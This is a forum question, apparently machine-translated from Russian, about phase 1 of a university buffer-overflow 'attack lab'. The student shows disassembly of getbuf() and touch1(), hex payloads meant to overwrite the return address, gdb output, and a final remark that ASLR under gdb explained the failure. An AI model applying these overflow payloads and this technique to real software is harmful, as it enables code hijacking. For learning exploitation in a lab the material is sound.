Фаза 1 для моей лаборатории атак проходит примерно так:
Ctarget проходит через getbuf (), в котором я должен создать буфер для функции, чтобы перейти непосредственно к функции touch1 () вместо function test ().
Насколько я понимаю, я должен найти размер буфера и создать для него заполнение, а затем после заполнения введите младший порядковый адрес touch1 ().
0000000000001afc <getbuf>:
1afc: 48 83 ec 28 sub $0x28,%rsp
1b00: 48 89 e7 mov %rsp,%rdi
1b03: e8 94 02 00 00 callq 1d9c <Gets>
1b08: b8 01 00 00 00 mov $0x1,%eax
1b0d: 48 83 c4 28 add $0x28,%rsp
1b11: c3 retq
0000000000001b12 <touch1>:
1b12: 48 83 ec 08 sub $0x8,%rsp
1b16: c7 05 bc 38 20 00 01 movl $0x1,0x2038bc(%rip) # 2053dc <vlevel>
1b1d: 00 00 00
1b20: 48 8d 3d ab 19 00 00 lea 0x19ab(%rip),%rdi # 34d2 <_IO_stdin_used+0x312>
1b27: e8 64 f3 ff ff callq e90 <puts@plt>
1b2c: bf 01 00 00 00 mov $0x1,%edi
1b31: e8 d6 04 00 00 callq 200c <validate>
1b36: bf 00 00 00 00 mov $0x0,%edi
1b3b: e8 c0 f4 ff ff callq 1000 <exit@plt>
В getbuf () я вижу, что размер буфера должен быть 0x28, что составляет 40 в десятичной дроби, поэтому должно быть заполнение 40 байтов. Адрес touch1 () - 0000000000001b12, младший порядок равен 12 1b 00 00 00 00 00 00.
Я создаю phase1.txt:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
12 1b 00 00 00 00 00 00
Имеется 40 байтов заполнения, а затем младший порядковый номер адреса touch1 (), но когда я его запускаю, это вызывает ошибку сегментации.
Я не знаю, что я делаю неправильно, потому что после того, как я попробовал свою версию, я посмотрел в Интернете, что сделали другие люди, и это было то же самое, что я сделал.
Редактировать 1:
I дал некоторую неправильную информацию ранее, я должен был удалить 9 байтов из заполнения, чтобы ошибка сегментации не произошла, таким образом, всего 31 байт заполнения и 8 байтов адреса. Не уверен, поможет ли это.
Edit 2:
Я запустил gdb ctarget и добавил точку останова в getbuf. Когда я запускаю информационный адрес touch1, появляется этот адрес:
(gdb) info address touch1
Symbol "touch1" is a function at address 0x555555555b12.
Увидев это, я изменил свой phase1.txt на этот:
CC CC CC CC CC CC CC CC
CC CC CC CC CC CC CC CC
CC CC CC CC CC CC CC CC
CC CC CC CC CC CC CC CC
CC 55 55 55 55 5b 12
После выполнения cat phase1.txt | ./hex2raw | ./ctarget
ошибка сегментации больше не существует, поскольку имеется менее 40 байтов, но она все еще не работает. Я не уверен, стоит ли мне добавлять 40 байт или 40 байт для заполнения, а затем адрес.
Окончательное редактирование:
Оказывается, проблема была не в том текстовом файле, в который я вводил Скорее ASLR. Поскольку я запускал его в GDB, адреса также нужно было брать из GDB и запускать на GDB. Мне пришлось запустить файл .txt через hex2raw, затем взять raw и поместить его в GDB, что-то вроде этого:
- cat phase1.txt | ./hex2raw> raw1.txt
- gdb ctarget
- r
Спасибо всем за помощь!